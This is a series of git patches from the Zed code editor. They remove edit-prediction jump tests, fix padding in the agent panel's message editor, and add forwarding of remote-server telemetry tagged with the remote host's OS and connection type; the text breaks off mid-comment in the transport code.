-                    cx,
-                )
-                .unwrap();
-        });
-    });
-    let (_jump_request, jump_response_tx) = requests.predict.next().await.unwrap();
-    jump_response_tx.send(empty_response()).unwrap();
-    cx.run_until_parked();
-
-    // Second edit request - should be throttled by the first edit.
-    ep_store.update(cx, |ep_store, cx| {
-        ep_store.refresh_prediction_from_buffer(
-            project.clone(),
-            buffer.clone(),
-            position,
-            EditPredictionRequestTrigger::Other,
-            cx,
-        );
-    });
-    assert_no_predict_request_ready(&mut requests.predict);
-
-    // Second jump request - should be throttled by the first jump.
-    ep_store.update(cx, |ep_store, cx| {
-        ep_store.refresh_prediction_from_diagnostics(
-            project.clone(),
-            DiagnosticSearchScope::Global,
-            cx,
-        );
-    });
-    assert_no_predict_request_ready(&mut requests.predict);
-
-    // Wait for both throttles to expire.
-    cx.background_executor
-        .advance_clock(EditPredictionStore::THROTTLE_TIMEOUT);
-    cx.background_executor.run_until_parked();
-    cx.run_until_parked();
-
-    // Both requests should now go through.
-    let (_request_1, response_tx_1) = requests.predict.next().await.unwrap();
-    response_tx_1.send(empty_response()).unwrap();
-    cx.run_until_parked();
-
-    let (_request_2, response_tx_2) = requests.predict.next().await.unwrap();
-    response_tx_2.send(empty_response()).unwrap();
-    cx.run_until_parked();
-}
-
 #[gpui::test]
 async fn test_cloud_timeout_backs_off_zeta_requests(cx: &mut TestAppContext) {
     let (ep_store, mut requests) = init_test_with_fake_client(cx);
@@ -2784,45 +2437,6 @@ fn assert_no_predict_request_ready(
     }
 }
 
-fn enable_edit_prediction_jumps(cx: &mut TestAppContext) {
-    cx.update(|cx| {
-        cx.update_flags(true, vec![EditPredictionJumpsFeatureFlag::NAME.to_string()]);
-    });
-}
-
-fn update_test_diagnostics(
-    project: &Entity<Project>,
-    path: &str,
-    message: &str,
-    cx: &mut TestAppContext,
-) {
-    let diagnostic = lsp::Diagnostic {
-        range: lsp::Range::new(lsp::Position::new(1, 1), lsp::Position::new(1, 5)),
-        severity: Some(lsp::DiagnosticSeverity::ERROR),
-        message: message.to_string(),
-        ..Default::default()
-    };
-
-    project.update(cx, |project, cx| {
-        project.lsp_store().update(cx, |lsp_store, cx| {
-            lsp_store
-                .update_diagnostics(
-                    LanguageServerId(0),
-                    lsp::PublishDiagnosticsParams {
-                        uri: lsp::Uri::from_file_path(path).unwrap(),
-                        diagnostics: vec![diagnostic],
-                        version: None,
-                    },
-                    None,
-                    language::DiagnosticSourceKind::Pushed,
-                    &[],
-                    cx,
-                )
-                .unwrap();
-        });
-    });
-}
-
 struct RequestChannels {
     predict: mpsc::UnboundedReceiver<(
         PredictEditsV3Request,
@@ -3555,222 +3169,6 @@ async fn test_unauthenticated_without_custom_url_blocks_prediction_impl(cx: &mut
     assert_eq!(request_count.load(std::sync::atomic::Ordering::SeqCst), 0);
 }
 
-#[gpui::test]
-async fn test_diagnostic_jump_excludes_collaborator_regions(cx: &mut TestAppContext) {
-    fn set_collaborator_cursor(buffer: &Entity<Buffer>, row: u32, cx: &mut TestAppContext) {
-        let collab_replica = clock::ReplicaId::new(10);
-        let anchor = buffer.read_with(cx, |buffer, _| {
-            buffer.snapshot().anchor_before(Point::new(row, 0))
-        });
-        let selections: Arc<[Selection<Anchor>]> = Arc::new([Selection {
-            id: 1,
-            start: anchor,
-            end: anchor,
-            reversed: false,
-            goal: SelectionGoal::None,
-        }]);
-        buffer.update(cx, |buffer, cx| {
-            buffer.apply_ops(
-                [Operation::UpdateSelections {
-                    selections,
-                    lamport_timestamp: clock::Lamport {
-                        replica_id: collab_replica,
-                        value: 1,
-                    },
-                    line_mode: false,
-                    cursor_shape: CursorShape::Bar,
-                }],
-                cx,
-            );
-        });
-    }
-
-    fn publish_diagnostics(
-        uri_path: &'static str,
-        rows: &[u32],
-        project: &Entity<Project>,
-        cx: &mut TestAppContext,
-    ) {
-        let diagnostics: Vec<_> = rows
-            .iter()
-            .map(|&row| lsp::Diagnostic {
-                range: lsp::Range::new(lsp::Position::new(row, 0), lsp::Position::new(row, 5)),
-                severity: Some(lsp::DiagnosticSeverity::ERROR),
-                message: format!("error at row {row}"),
-                ..Default::default()
-            })
-            .collect();
-        project.update(cx, |project, cx| {
-            project.lsp_store().update(cx, |lsp_store, cx| {
-                lsp_store
-                    .update_diagnostics(
-                        LanguageServerId(0),
-                        lsp::PublishDiagnosticsParams {
-                            uri: lsp::Uri::from_file_path(uri_path).expect("invalid uri"),
-                            diagnostics,
-                            version: None,
-                        },
-                        None,
-                        language::DiagnosticSourceKind::Pushed,
-                        &[],
-                        cx,
-                    )
-                    .expect("failed to update diagnostics");
-            });
-        });
-    }
-
-    init_test(cx);
-
-    let mut lines = String::new();
-    for i in 0..60 {
-        lines.push_str(&format!("line {i}\n"));
-    }
-
-    let fs = FakeFs::new(cx.executor());
-    fs.insert_tree(
-        "/root",
-        json!({
-            "active.txt": lines,
-            "collab_file.txt": "error here\nsecond line\n",
-            "free_file.txt": "another error\nsecond line\n",
-        }),
-    )
-    .await;
-    let project = Project::test(fs, vec![path!("/root").as_ref()], cx).await;
-
-    let active_buffer = project
-        .update(cx, |project, cx| {
-            let path = project
-                .find_project_path(path!("/root/active.txt"), cx)
-                .expect("active.txt not found");
-            project.set_active_path(Some(path.clone()), cx);
-            project.open_buffer(path, cx)
-        })
-        .await
-        .expect("failed to open active buffer");
-
-    set_collaborator_cursor(&active_buffer, 5, cx);
-
-    publish_diagnostics(path!("/root/active.txt"), &[3, 25, 50], &project, cx);
-
-    cx.run_until_parked();
-
-    let cursor_point = Point::new(25, 0);
-    let empty_search_range: Range<Point> = Default::default();
-
-    let snapshot = active_buffer.read_with(cx, |buffer, _| buffer.snapshot());
-    let result = EditPredictionStore::next_diagnostic_location(
-        active_buffer.clone(),
-        &snapshot,
-        empty_search_range.clone(),
-        cursor_point,
-        &project,
-        &mut cx.to_async(),
-    )
-    .await
-    .expect("next_diagnostic_location failed");
-
-    let (result_buffer, result_anchor) = result.expect("expected a diagnostic location");
-    assert_eq!(result_buffer.entity_id(), active_buffer.entity_id());
-    let result_row = result_buffer.read_with(cx, |buffer, _| {
-        result_anchor.to_point(&buffer.snapshot()).row
-    });
-    assert_ne!(
-        result_row, 3,
-        "row 3 is near collaborator (row 5) but far from local cursor (row 25), should be excluded"
-    );
-    assert!(
-        result_row == 25 || result_row == 50,
-        "expected row 25 or 50, got {result_row}"
-    );
-
-    let snapshot_near = active_buffer.read_with(cx, |buffer, _| buffer.snapshot());
-    let near_cursor_point = Point::new(4, 0);
-    let result_near = EditPredictionStore::next_diagnostic_location(
-        active_buffer.clone(),
-        &snapshot_near,
-        empty_search_range.clone(),
-        near_cursor_point,
-        &project,
-        &mut cx.to_async(),
-    )
-    .await
-    .expect("next_diagnostic_location failed");
-
-    let (_, near_anchor) = result_near.expect("expected a diagnostic location when both are near");
-    let near_row =
-        active_buffer.read_with(cx, |buffer, _| near_anchor.to_point(&buffer.snapshot()).row);
-    assert_eq!(
-        near_row, 3,
-        "row 3 should be included when local cursor (row 4) is also near the collaborator"
-    );
-
-    let snapshot_far = active_buffer.read_with(cx, |buffer, _| buffer.snapshot());
-    let far_cursor_point = Point::new(50, 0);
-    let result_far = EditPredictionStore::next_diagnostic_location(
-        active_buffer.clone(),
-        &snapshot_far,
-        empty_search_range.clone(),
-        far_cursor_point,
-        &project,
-        &mut cx.to_async(),
-    )
-    .await
-    .expect("next_diagnostic_location failed");
-
-    let (_, far_anchor) = result_far.expect("expected a diagnostic location");
-    let far_row =
-        active_buffer.read_with(cx, |buffer, _| far_anchor.to_point(&buffer.snapshot()).row);
-    assert_eq!(
-        far_row, 50,
-        "row 50 is near local cursor (row 50) and far from collaborator, should be picked"
-    );
-
-    publish_diagnostics(path!("/root/collab_file.txt"), &[0], &project, cx);
-    publish_diagnostics(path!("/root/free_file.txt"), &[0], &project, cx);
-    cx.run_until_parked();
-
-    let collab_buffer = project
-        .update(cx, |project, cx| {
-            let path = project
-                .find_project_path(path!("/root/collab_file.txt"), cx)
-                .expect("collab_file.txt not found");
-            project.open_buffer(path, cx)
-        })
-        .await
-        .expect("failed to open collab buffer");
-
-    set_collaborator_cursor(&collab_buffer, 0, cx);
-    cx.run_until_parked();
-
-    let no_same_file_search_range = Point::new(0, 0)..Point::new(59, 0);
-    let snapshot_cross = active_buffer.read_with(cx, |buffer, _| buffer.snapshot());
-    let result_cross = EditPredictionStore::next_diagnostic_location(
-        active_buffer.clone(),
-        &snapshot_cross,
-        no_same_file_search_range,
-        Point::new(0, 0),
-        &project,
-        &mut cx.to_async(),
-    )
-    .await
-    .expect("cross-file next_diagnostic_location failed");
-
-    let (cross_buffer, _) = result_cross.expect("expected a cross-file diagnostic location");
-    let cross_path = cross_buffer.read_with(cx, |buffer, cx| {
-        buffer
-            .file()
-            .expect("buffer should have a file")
-            .full_path(cx)
-    });
-    assert_eq!(
-        cross_path,
-        Path::new(path!("root/free_file.txt")),
-        "should skip collab_file.txt (has collaborator) and pick free_file.txt"
-    );
-}
-
 #[gpui::test]
 async fn test_edit_prediction_settled(cx: &mut TestAppContext) {
     let (ep_store, _requests) = init_test_with_fake_client(cx);

From 14f9b9d077ea4de768408aa3bed285baacea13b0 Mon Sep 17 00:00:00 2001
From: Sam Trouy <35753167+smltr@users.noreply.github.com>
Date: Mon, 22 Jun 2026 19:59:22 -0400
Subject: [PATCH 046/772] agent_ui: Fix padding for editor (#59735)

# Objective

Fixes #59498

Original issue mentioned problem with the alignment of text entered into
the agent editor compared with the thread title when in full expanded
mode. I was able to reproduce issue both in expanded mode and also when
resizing while not in expanded mode by dragging panel wide enough. After
more investigation, it seemed that all of the contents within the editor
(text entered, bottom row of elements) were not properly aligned on both
the left and right sides with other content in the agent panel.

## Solution

Moved horizontal padding to inner div that uses `max_content_width` in
`render_message_editor` so that it is calculated as expected as part of
the max width of the content.

- Dropped horizontal padding, keep vertical padding on outer `h_flex`
div. Changed `.p_2()` to `.py_2()` here .
- Added horizontal padding back to first child `v_flex` div that uses
`max_content_width`. Added `.px_2()` here.

After changes, elements within the editor are aligned on both the left
and right sides with the messages within the message history and the
contents of the title bar.

## Testing

I tested the fix on Linux visually, no tests were added due to the small
amount of changes and the strictly visual nature of the issue.

<details>
   <summary>Self-Review Checklist</summary>

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments (**no unsafe
blocks added**)
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior (**no tests added**)
- [x] Performance impact has been considered and is acceptable

</details>

## Showcase

<details>
  <summary>Before/After empty convo</summary>

### Before

<img width="946" height="551" alt="before-maximized"
src="https://github.com/user-attachments/assets/27805f8c-9a04-40b3-a808-5dc3a548a0b8"
/>

### After

<img width="948" height="554" alt="after-maximized"
src="https://github.com/user-attachments/assets/4f557aa8-d8ce-44c4-8278-35df203ca434"
/>

</details>

<details>
  <summary>Before/After existing convo</summary>

### Before

<img width="950" height="555" alt="before-with-convo"
src="https://github.com/user-attachments/assets/82ea6b04-bca7-48fd-ab11-3414855afec8"
/>

### After

<img width="950" height="555" alt="after-with-convo"
src="https://github.com/user-attachments/assets/2f2f394a-6d78-4650-9ddf-e760841a2635"
/>

</details>


## Note

- A similar issue also seems to apply to the activity bar within
`render_activity_bar`, but it's less jarring, and this is also my first
PR, so I'm leaving it alone.

---

Release Notes:

- N/A
---
 crates/agent_ui/src/conversation_view/thread_view.rs | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 0c77d89a8166cd..b6fbcdefdabb2d 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -4073,7 +4073,7 @@ impl ThreadView {
         let fills_container = !has_messages || editor_expanded;
 
         h_flex()
-            .p_2()
+            .py_2()
             .bg(editor_bg_color)
             .justify_center()
             .on_action(cx.listener(Self::handle_message_editor_move_up))
@@ -4092,6 +4092,7 @@ impl ThreadView {
                     .when_some(max_content_width, |this, max_w| this.flex_basis(max_w))
                     .when(max_content_width.is_none(), |this| this.w_full())
                     .when(fills_container, |this| this.h_full())
+                    .px_2()
                     .flex_shrink_1()
                     .flex_grow_0()
                     .justify_between()

From 479bce099509394aa121c2c5c1cf8f2639bbc7e9 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Tue, 23 Jun 2026 07:53:33 +0200
Subject: [PATCH 047/772] Implement telemetry for the remote server (#59692)

# Objective

Telemetry events generated **on a remote server** were silently dropped,
and all remote telemetry that *was* reported got attributed to the local
client's OS.

## Solution

This PR makes server-originated events flow to the telemetry pipeline
and attributes them to the actual remote host (connection type, OS,
version, architecture), plus adds a transport-agnostic connection event.

## Additional Notes

This removes the "SSH Project Opened" event and replaces it with a
"Remote Connection Established" one that has more structured info and is
also more useful in where it gets invoked.

The server unconditionally sends back telemetry to the client, the
client is then responsible for filtering on whether telemetry is enabled
by the user or not as the server does not have knowledge of those
settings itself.

Release Notes:

- N/A
---
 Cargo.lock                                    |   2 +
 crates/client/src/telemetry.rs                | 141 ++++++++++++++++--
 crates/project/src/project.rs                 |  37 +++++
 crates/proto/proto/app.proto                  |   9 ++
 crates/proto/proto/zed.proto                  |   3 +-
 crates/proto/src/proto.rs                     |   2 +
 crates/remote/Cargo.toml                      |   1 +
 crates/remote/src/remote_client.rs            | 105 ++++++++++++-
 crates/remote/src/transport.rs                |  99 ++++++++++++
 crates/remote/src/transport/docker.rs         |  36 ++++-
 crates/remote/src/transport/mock.rs           |  11 ++
 crates/remote/src/transport/ssh.rs            |  27 ++++
 crates/remote/src/transport/wsl.rs            |  26 ++++
 crates/remote_server/Cargo.toml               |   1 +
 .../remote_server/src/remote_editing_tests.rs | 101 +++++++++++++
 crates/remote_server/src/server.rs            |  29 ++++
 crates/util/src/util.rs                       |  40 +++++
 crates/workspace/src/workspace.rs             |   2 -
 18 files changed, 655 insertions(+), 17 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index f4fdccb084f6ab..ef5bc3b20a97e3 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -15062,6 +15062,7 @@ dependencies = [
  "serde_json",
  "settings",
  "smol",
+ "telemetry",
  "tempfile",
  "thiserror 2.0.17",
  "urlencoding",
@@ -15154,6 +15155,7 @@ dependencies = [
  "smol",
  "sysinfo 0.37.2",
  "task",
+ "telemetry",
  "tempfile",
  "theme",
  "theme_settings",
diff --git a/crates/client/src/telemetry.rs b/crates/client/src/telemetry.rs
index ab9e1643fc98e9..0f7ee3174c3248 100644
--- a/crates/client/src/telemetry.rs
+++ b/crates/client/src/telemetry.rs
@@ -156,18 +156,7 @@ pub fn os_version() -> String {
                );
                "".to_string()
            };
-           let mut name = "unknown";
-           let mut version = "unknown";
-
-           for line in content.lines() {
-               match line.split_once('=') {
-                   Some(("ID", val)) => name = val.trim_matches('"'),
-                   Some(("VERSION_ID", val)) => version = val.trim_matches('"'),
-                   _ => {}
-               }
-           }
-
-           format!("{} {}", name, version)
+           util::parse_os_release(&content).unwrap_or_else(|| "unknown".to_string())
        }
        target_os = "windows" => {
            let mut info = unsafe { std::mem::zeroed() };
@@ -512,6 +501,61 @@ impl Telemetry {
         Some(project_types)
     }
 
+    /// Report a telemetry event that originated on a remote server.
+    ///
+    /// The remote server cannot upload telemetry itself, so it forwards events
+    /// (as a JSON-serialized [`Event`]) to the client. Since the OS metadata in
+    /// [`EventRequestBody`] is batch-level (describing the uploading client),
+    /// the remote server's OS is attached as event properties instead, so the
+    /// origin can still be distinguished downstream.
+    pub fn report_remote_event(
+        self: &Arc<Self>,
+        event_json: &str,
+        connection_type: &str,
+        os_name: String,
+        os_version: Option<String>,
+        architecture: String,
+    ) -> Result<()> {
+        // The remote server forwards a bare `telemetry_events::FlexibleEvent`
+        // (the type behind `telemetry::event!`), not the tagged `Event` enum.
+        let mut flexible: telemetry_events::FlexibleEvent =
+            serde_json::from_str(event_json).context("invalid remote telemetry event")?;
+        flexible
+            .event_properties
+            .insert("remote".into(), true.into());
+        flexible
+            .event_properties
+            .insert("remote_connection_type".into(), connection_type.into());
+        flexible
+            .event_properties
+            .insert("remote_os_name".into(), os_name.into());
+        flexible
+            .event_properties
+            .insert("remote_architecture".into(), architecture.into());
+        if let Some(os_version) = os_version {
+            flexible
+                .event_properties
+                .insert("remote_os_version".into(), os_version.into());
+        }
+        self.report_event(Event::Flexible(flexible));
+        Ok(())
+    }
+
+    /// Returns a snapshot of the currently queued (not-yet-flushed) telemetry
+    /// events, for use in tests.
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn queued_events(self: &Arc<Self>) -> Vec<telemetry_events::FlexibleEvent> {
+        self.state
+            .lock()
+            .events_queue
+            .iter()
+            .map(|wrapper| {
+                let Event::Flexible(event) = &wrapper.event;
+                event.clone()
+            })
+            .collect()
+    }
+
     fn report_event(self: &Arc<Self>, mut event: Event) {
         let mut state = self.state.lock();
         // RUST_LOG=telemetry=trace to debug telemetry events
@@ -822,6 +866,79 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_report_remote_event_tags_origin(cx: &mut TestAppContext) {
+        init_test(cx);
+        let clock = Arc::new(FakeSystemClock::new());
+        let http = FakeHttpClient::with_200_response();
+
+        let telemetry = cx.update(|cx| {
+            let telemetry = Telemetry::new(clock.clone(), http, cx);
+            telemetry.start(
+                Some("system_id".to_string()),
+                Some("installation_id".to_string()),
+                "session_id".to_string(),
+                cx,
+            );
+            telemetry
+        });
+
+        // Mirror what the remote server forwards: a bare `FlexibleEvent`, which
+        // is the type produced by `telemetry::event!` / sent over the queue.
+        let event_json = serde_json::to_string(&FlexibleEvent {
+            event_type: "fs_watcher_poll".to_string(),
+            event_properties: HashMap::from_iter([(
+                "path".to_string(),
+                serde_json::Value::String("/code/project".to_string()),
+            )]),
+        })
+        .unwrap();
+
+        cx.update(|_| {
+            telemetry
+                .report_remote_event(
+                    &event_json,
+                    "ssh",
+                    "Linux".to_string(),
+                    Some("ubuntu 24.04".to_string()),
+                    "aarch64".to_string(),
+                )
+                .unwrap();
+        });
+
+        let queue = telemetry.state.lock().events_queue.clone();
+        assert_eq!(queue.len(), 1);
+        let Event::Flexible(event) = &queue[0].event;
+        assert_eq!(event.event_type, "fs_watcher_poll");
+        // Original properties are preserved.
+        assert_eq!(
+            event.event_properties.get("path"),
+            Some(&serde_json::Value::String("/code/project".to_string()))
+        );
+        // The remote server's OS is attached as properties, since the batch-level
+        // OS describes the uploading client rather than the remote host.
+        assert_eq!(
+            event.event_properties.get("remote"),
+            Some(&serde_json::Value::Bool(true))
+        );
+        assert_eq!(
+            event.event_properties.get("remote_connection_type"),
+            Some(&serde_json::Value::String("ssh".to_string()))
+        );
+        assert_eq!(
+            event.event_properties.get("remote_os_name"),
+            Some(&serde_json::Value::String("Linux".to_string()))
+        );
+        assert_eq!(
+            event.event_properties.get("remote_os_version"),
+            Some(&serde_json::Value::String("ubuntu 24.04".to_string()))
+        );
+        assert_eq!(
+            event.event_properties.get("remote_architecture"),
+            Some(&serde_json::Value::String("aarch64".to_string()))
+        );
+    }
+
     #[gpui::test]
     fn test_project_discovery_does_not_double_report(cx: &mut gpui::TestAppContext) {
         init_test(cx);
diff --git a/crates/project/src/project.rs b/crates/project/src/project.rs
index 9ae67a85633287..2864313d8d719b 100644
--- a/crates/project/src/project.rs
+++ b/crates/project/src/project.rs
@@ -1633,6 +1633,7 @@ impl Project {
             remote_proto.add_entity_message_handler(Self::handle_update_worktree);
             remote_proto.add_entity_message_handler(Self::handle_update_project);
             remote_proto.add_entity_message_handler(Self::handle_toast);
+            remote_proto.add_entity_message_handler(Self::handle_telemetry_event);
             remote_proto.add_entity_request_handler(Self::handle_language_server_prompt_request);
             remote_proto.add_entity_message_handler(Self::handle_hide_toast);
             remote_proto.add_entity_request_handler(Self::handle_update_buffer_from_remote_server);
@@ -5302,6 +5303,42 @@ impl Project {
         })
     }
 
+    async fn handle_telemetry_event(
+        this: Entity<Self>,
+        envelope: TypedEnvelope<proto::TelemetryEvent>,
+        mut cx: AsyncApp,
+    ) -> Result<()> {
+        let payload = envelope.payload;
+        this.update(&mut cx, |this, cx| {
+            // The remote connection type, OS, version, and architecture are all
+            // already known from connection setup, so they don't need to be sent
+            // with each event.
+            let Some((connection_type, platform, os_version)) =
+                this.remote_client.as_ref().map(|client| {
+                    let client = client.read(cx);
+                    (
+                        client.connection_type(),
+                        client.remote_platform(),
+                        client.remote_os_version(),
+                    )
+                })
+            else {
+                return;
+            };
+            this.client()
+                .telemetry()
+                .report_remote_event(
+                    &payload.event_json,
+                    connection_type,
+                    platform.os.display_name().to_string(),
+                    os_version,
+                    platform.arch.as_str().to_string(),
+                )
+                .log_err();
+        });
+        Ok(())
+    }
+
     async fn handle_language_server_prompt_request(
         this: Entity<Self>,
         envelope: TypedEnvelope<proto::LanguageServerPromptRequest>,
diff --git a/crates/proto/proto/app.proto b/crates/proto/proto/app.proto
index 2ced6a16d4441c..c3982ebc82b725 100644
--- a/crates/proto/proto/app.proto
+++ b/crates/proto/proto/app.proto
@@ -14,6 +14,15 @@ message HideToast {
   string notification_id = 2;
 }
 
+// A telemetry event generated on the remote server, forwarded to the client for
+// reporting. The OS metadata is not included: the client already knows the
+// remote platform from connection setup and attaches it when reporting.
+message TelemetryEvent {
+  uint64 project_id = 1;
+  // JSON-serialized telemetry_events::FlexibleEvent { event_type, event_properties }.
+  string event_json = 2;
+}
+
 message OpenServerSettings {
   uint64 project_id = 1;
 }
diff --git a/crates/proto/proto/zed.proto b/crates/proto/proto/zed.proto
index 1af251f0ab42e8..31e86e9ba6e14c 100644
--- a/crates/proto/proto/zed.proto
+++ b/crates/proto/proto/zed.proto
@@ -490,7 +490,8 @@ message Envelope {
     ResolveDocumentLink resolve_document_link = 455;
     ResolveDocumentLinkResponse resolve_document_link_response = 456;
     GitWorktreeCreatedAt git_worktree_created_at = 457;
-    GitWorktreeCreatedAtResponse git_worktree_created_at_response = 458; // current max
+    GitWorktreeCreatedAtResponse git_worktree_created_at_response = 458;
+    TelemetryEvent telemetry_event = 459; // current max
   }
 
   reserved 87 to 88;
diff --git a/crates/proto/src/proto.rs b/crates/proto/src/proto.rs
index 16b8f38fb07003..feb8bc9c6cd884 100644
--- a/crates/proto/src/proto.rs
+++ b/crates/proto/src/proto.rs
@@ -259,6 +259,7 @@ messages!(
     (SynchronizeBuffersResponse, Foreground),
     (TaskContext, Background),
     (TaskContextForLocation, Background),
+    (TelemetryEvent, Background),
     (Test, Foreground),
     (Toast, Background),
     (Unfollow, Foreground),
@@ -723,6 +724,7 @@ entity_messages!(
     LspExtRunFlycheck,
     LspExtClearFlycheck,
     LanguageServerLog,
+    TelemetryEvent,
     Toast,
     HideToast,
     OpenServerSettings,
diff --git a/crates/remote/Cargo.toml b/crates/remote/Cargo.toml
index c08561954ebc0b..f420c2dca13413 100644
--- a/crates/remote/Cargo.toml
+++ b/crates/remote/Cargo.toml
@@ -39,6 +39,7 @@ serde.workspace = true
 serde_json.workspace = true
 settings.workspace = true
 smol.workspace = true
+telemetry.workspace = true
 tempfile.workspace = true
 thiserror.workspace = true
 urlencoding.workspace = true
diff --git a/crates/remote/src/remote_client.rs b/crates/remote/src/remote_client.rs
index c0981d0706a8b5..239e9785931ea6 100644
--- a/crates/remote/src/remote_client.rs
+++ b/crates/remote/src/remote_client.rs
@@ -71,6 +71,16 @@ impl RemoteOs {
     pub fn is_windows(&self) -> bool {
         matches!(self, RemoteOs::Windows)
     }
+
+    /// A human-readable OS name for telemetry. Matches `client::telemetry::os_name`
+    /// ignoring the compositor (as we run headless on remotes).
+    pub fn display_name(&self) -> &'static str {
+        match self {
+            RemoteOs::Linux => "Linux",
+            RemoteOs::MacOs => "macOS",
+            RemoteOs::Windows => "Windows",
+        }
+    }
 }
 
 impl std::fmt::Display for RemoteOs {
@@ -320,6 +330,8 @@ pub struct RemoteClient {
     unique_identifier: String,
     connection_options: RemoteConnectionOptions,
     path_style: PathStyle,
+    platform: RemotePlatform,
+    os_version: Option<String>,
     state: Option<State>,
 }
 
@@ -418,11 +430,17 @@ impl RemoteClient {
                 });
 
                 let path_style = remote_connection.path_style();
+                let platform = remote_connection.remote_platform();
+                let os_version = remote_connection.remote_os_version();
+                let connection_options = remote_connection.connection_options();
+                let connection_type = connection_options.connection_type();
                 let this = cx.new(|_| Self {
                     client: client.clone(),
                     unique_identifier: unique_identifier.clone(),
-                    connection_options: remote_connection.connection_options(),
+                    connection_options,
                     path_style,
+                    platform,
+                    os_version: os_version.clone(),
                     state: Some(State::Connecting),
                 });
 
@@ -491,6 +509,18 @@ impl RemoteClient {
                     });
                 });
 
+                // Use the same `remote_*` property schema as the forwarded
+                // remote events (see `client::telemetry::report_remote_event`)
+                // so all remote-origin telemetry can be queried uniformly.
+                telemetry::event!(
+                    "Remote Connection Established",
+                    remote = true,
+                    remote_connection_type = connection_type,
+                    remote_os_name = platform.os.display_name(),
+                    remote_os_version = os_version,
+                    remote_architecture = platform.arch.as_str(),
+                );
+
                 Ok(Some(this))
             });
 
@@ -994,6 +1024,24 @@ impl RemoteClient {
         self.path_style
     }
 
+    /// The platform (OS and architecture) of the remote host, detected during
+    /// connection setup.
+    pub fn remote_platform(&self) -> RemotePlatform {
+        self.platform
+    }
+
+    /// The OS version of the remote host (e.g. `"ubuntu 24.04"`), detected
+    /// during connection setup. `None` if it could not be determined.
+    pub fn remote_os_version(&self) -> Option<String> {
+        self.os_version.clone()
+    }
+
+    /// A stable identifier for the kind of remote connection (e.g. `"ssh"`,
+    /// `"wsl"`, `"docker"`, `"podman"`).
+    pub fn connection_type(&self) -> &'static str {
+        self.connection_options.connection_type()
+    }
+
     /// Forcibly disconnects from the remote server by killing the underlying connection.
     /// This will trigger the reconnection logic if reconnection attempts remain.
     /// Useful for testing reconnection behavior in real environments.
@@ -1298,6 +1346,24 @@ impl RemoteConnectionOptions {
             RemoteConnectionOptions::Mock(opts) => format!("mock-{}", opts.id),
         }
     }
+
+    /// A stable identifier for the kind of remote connection, suitable for
+    /// telemetry (e.g. `"ssh"`, `"wsl"`, `"docker"`, `"podman"`).
+    pub fn connection_type(&self) -> &'static str {
+        match self {
+            RemoteConnectionOptions::Ssh(_) => "ssh",
+            RemoteConnectionOptions::Wsl(_) => "wsl",
+            RemoteConnectionOptions::Docker(opts) => {
+                if opts.use_podman {
+                    "podman"
+                } else {
+                    "docker"
+                }
+            }
+            #[cfg(any(test, feature = "test-support"))]
+            RemoteConnectionOptions::Mock(_) => "mock",
+        }
+    }
 }
 
 #[cfg(test)]
@@ -1327,6 +1393,38 @@ mod tests {
         assert_eq!(options.display_name(), "1.2.3.4");
     }
 
+    #[test]
+    fn test_connection_type() {
+        assert_eq!(
+            RemoteConnectionOptions::Ssh(SshConnectionOptions::default()).connection_type(),
+            "ssh"
+        );
+        assert_eq!(
+            RemoteConnectionOptions::Wsl(WslConnectionOptions {
+                distro_name: "Ubuntu".to_string(),
+                user: None,
+            })
+            .connection_type(),
+            "wsl"
+        );
+        assert_eq!(
+            RemoteConnectionOptions::Docker(DockerConnectionOptions {
+                use_podman: false,
+                ..Default::default()
+            })
+            .connection_type(),
+            "docker"
+        );
+        assert_eq!(
+            RemoteConnectionOptions::Docker(DockerConnectionOptions {
+                use_podman: true,
+                ..Default::default()
+            })
+            .connection_type(),
+            "podman"
+        );
+    }
+
     #[gpui::test]
     async fn test_channel_client_request_stream_terminates_on_error(cx: &mut TestAppContext) {
         let (incoming_tx, incoming_rx) = mpsc::unbounded::<Envelope>();
@@ -1525,6 +1623,11 @@ pub trait RemoteConnection: Send + Sync {
     ) -> Result<CommandTemplate>;
     fn connection_options(&self) -> RemoteConnectionOptions;
     fn path_style(&self) -> PathStyle;
+    /// The remote platform (OS and architecture), detected during connection setup.
+    fn remote_platform(&self) -> RemotePlatform;
+    /// The remote host's OS version (e.g. `"ubuntu 24.04"` or `"15.6.1"`),
+    /// detected during connection setup. `None` if it could not be determined.
+    fn remote_os_version(&self) -> Option<String>;
     fn shell(&self) -> String;
     fn default_system_shell(&self) -> String;
     fn has_wsl_interop(&self) -> bool;
diff --git a/crates/remote/src/transport.rs b/crates/remote/src/transport.rs
index 1794a68839a6d0..275b36905d3a60 100644
--- a/crates/remote/src/transport.rs
+++ b/crates/remote/src/transport.rs
@@ -55,6 +55,63 @@ fn parse_platform(output: &str) -> Result<RemotePlatform> {
     Ok(RemotePlatform { os, arch })
 }
 
+/// The command (program + args) used to read a remote host's OS version, given
+/// its detected OS.
+///
+/// The output is parsed by [`parse_os_version`].
+pub(crate) fn os_version_command(os: RemoteOs) -> (&'static str, &'static [&'static str]) {
+    match os {
+        // Matches the `/etc/os-release` parsing in `client::telemetry::os_version`.
+        RemoteOs::Linux => ("cat", &["/etc/os-release"]),
+        RemoteOs::MacOs => ("sw_vers", &["-productVersion"]),
+        // Prints e.g. "Microsoft Windows [Version 10.0.19045.5011]".
+        RemoteOs::Windows => ("cmd.exe", &["/c", "ver"]),
+    }
+}
+
+/// Parses the output of [`os_version_command`] into a human-readable version
+/// string, matching the conventions used by `client::telemetry::os_version`.
+///
+/// For Linux this is `"{ID} {VERSION_ID}"` (e.g. `"ubuntu 24.04"`); for macOS it
+/// is the product version (e.g. `"15.6.1"`); for Windows it is the
+/// `major.minor.build` version (e.g. `"10.0.19045"`). Returns `None` if nothing
+/// usable could be parsed.
